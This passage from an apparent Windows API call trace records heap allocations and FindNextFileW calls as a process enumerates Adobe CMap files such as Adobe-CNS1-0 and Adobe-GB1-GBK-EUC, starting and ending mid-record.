Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12174c0 [0083.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5ab0 [0083.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.837] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-0", cAlternateFileName="")) returned 1 [0083.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12174e0 [0083.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5bb8 [0083.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.839] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-1", cAlternateFileName="")) returned 1 [0083.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217500 [0083.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5cc0 [0083.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.842] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-2", cAlternateFileName="")) returned 1 [0083.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217520 [0083.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5dc8 [0083.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.843] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-3", cAlternateFileName="")) returned 1 [0083.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217540 [0083.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5ed0 [0083.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.845] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-4", cAlternateFileName="")) returned 1 [0083.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217560 [0083.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5fd8 [0083.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.847] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-5", cAlternateFileName="")) returned 1 [0083.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217580 [0083.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b60e0 [0083.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.848] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-B5pc", cAlternateFileName="")) returned 1 [0083.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12175a0 [0083.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b61e8 [0083.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.850] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-ETen-B5", cAlternateFileName="")) returned 1 [0083.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12175c0 [0083.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b62f0 [0083.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7840) returned 0x12ca080 [0083.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c2878) returned 1 [0083.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.852] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-CID", cAlternateFileName="")) returned 1 [0083.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12175e0 [0083.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b63f8 [0083.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.854] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x212a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Host", cAlternateFileName="")) returned 1 [0083.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217600 [0083.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b6500 [0083.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.856] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Mac", cAlternateFileName="")) returned 1 [0083.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217620 [0083.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b6608 [0083.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.858] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44cc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-UCS2", cAlternateFileName="")) returned 1 [0083.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217640 [0083.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b6710 [0083.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.859] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-0", cAlternateFileName="")) returned 1 [0083.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217660 [0083.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b6818 [0083.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.861] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-1", cAlternateFileName="")) returned 1 [0083.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217680 [0083.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b6920 [0083.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.863] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-2", cAlternateFileName="")) returned 1 [0083.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12176a0 [0083.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b6a28 [0083.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.864] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-3", cAlternateFileName="")) returned 1 [0083.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12176c0 [0083.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b6b30 [0083.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.866] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-4", cAlternateFileName="")) returned 1 [0083.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12176e0 [0083.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b6c38 [0083.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.868] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-5", cAlternateFileName="")) returned 1 [0083.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217700 [0083.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b6d40 [0083.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.870] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBK-EUC", cAlternateFileName="")) returned 1 [0083.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217720 [0083.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b6e48 [0083.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.871] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 